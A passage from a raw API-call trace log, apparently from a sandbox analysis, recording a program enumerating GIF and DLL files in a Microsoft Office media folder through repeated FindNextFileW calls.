lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56c52600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56c52600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21481_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56c52600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56c52600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21482_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ffd9600, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbced35e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8ffd9600, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21503_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912ec300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbced35e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x912ec300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21504_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912ec300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x912ec300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21505_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b6bd00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb9b6bd00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21518_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbae7ea00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbae7ea00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21519_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbae7ea00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbae7ea00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21520_.GIF", cAlternateFileName="")) returned 1 [0073.906] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8b6500, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcf1f8a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8b6500, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21533_.GIF", cAlternateFileName="")) returned 1 [0073.907] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8b6500, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcf1f8a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8b6500, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21534_.GIF", cAlternateFileName="")) returned 1 [0073.907] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8b6500, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcf1f8a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8b6500, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x12b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21535_.GIF", cAlternateFileName="")) returned 1 [0073.907] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b201b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BULLETS.DLL", cAlternateFileName="")) returned 1 [0073.907] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2f35a00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc2f35a00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115834.GIF", cAlternateFileName="")) returned 1 [0073.907] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4248700, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc4248700, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115835.GIF", cAlternateFileName="")) returned 1 [0073.907] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc555b400, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc555b400, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115836.GIF", cAlternateFileName="")) returned 1 [0073.907] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x497bb300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x497bb300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115839.GIF", cAlternateFileName="")) returned 1 [0073.907] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aace000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4aace000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115840.GIF", cAlternateFileName="")) returned 1 [0073.907] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aace000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4aace000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115841.GIF", cAlternateFileName="")) returned 1 [0073.907] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aace000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4aace000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115842.GIF", cAlternateFileName="")) returned 1 [0073.907] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4aace000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4aace000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115843.GIF", cAlternateFileName="")) returned 1 [0073.907] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bde0d00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4bde0d00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115844.GIF", cAlternateFileName="")) returned 1 [0073.907] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c9cf00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x57c9cf00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115863.GIF", cAlternateFileName="")) returned 1 [0073.907] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c9cf00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x57c9cf00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115864.GIF", cAlternateFileName="")) returned 1 [0073.907] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c9cf00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x57c9cf00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115865.GIF", cAlternateFileName="")) returned 1 [0073.907] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58fafc00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58fafc00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115866.GIF", cAlternateFileName="")) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58fafc00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58fafc00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115867.GIF", cAlternateFileName="")) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58fafc00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58fafc00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115868.GIF", cAlternateFileName="")) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58fafc00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x58fafc00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115868.GIF", cAlternateFileName="")) returned 0 [0073.908] GetLastError () returned 0x12 [0073.908] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0073.908] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x992c8400, ftCreationTime.dwHighDateTime=0x1bd5de4, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x992c8400, ftLastWriteTime.dwHighDateTime=0x1bd5de4, nFileSizeHigh=0x0, nFileSizeLow=0x967, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10253_.GIF", cAlternateFileName="")) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dec3400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5dec3400, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10254_.GIF", cAlternateFileName="")) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f1d6100, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f1d6100, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10255_.GIF", cAlternateFileName="")) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10263_.GIF", cAlternateFileName="")) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10264_.GIF", cAlternateFileName="")) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10265_.GIF", cAlternateFileName="")) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10266_.GIF", cAlternateFileName="")) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x137, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10267_.GIF", cAlternateFileName="")) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10268_.GIF", cAlternateFileName="")) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70656e00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x70656e00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x46b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10297_.GIF", cAlternateFileName="")) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70656e00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x70656e00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10298_.GIF", cAlternateFileName="")) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10299_.GIF", cAlternateFileName="")) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10300_.GIF", cAlternateFileName="")) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10301_.GIF", cAlternateFileName="")) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72c7c800, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72c7c800, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10302_.GIF", cAlternateFileName="")) returned 1 [0073.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10335_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10336_.GIF", cAlternateFileName="")) returned 1 [0073.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, 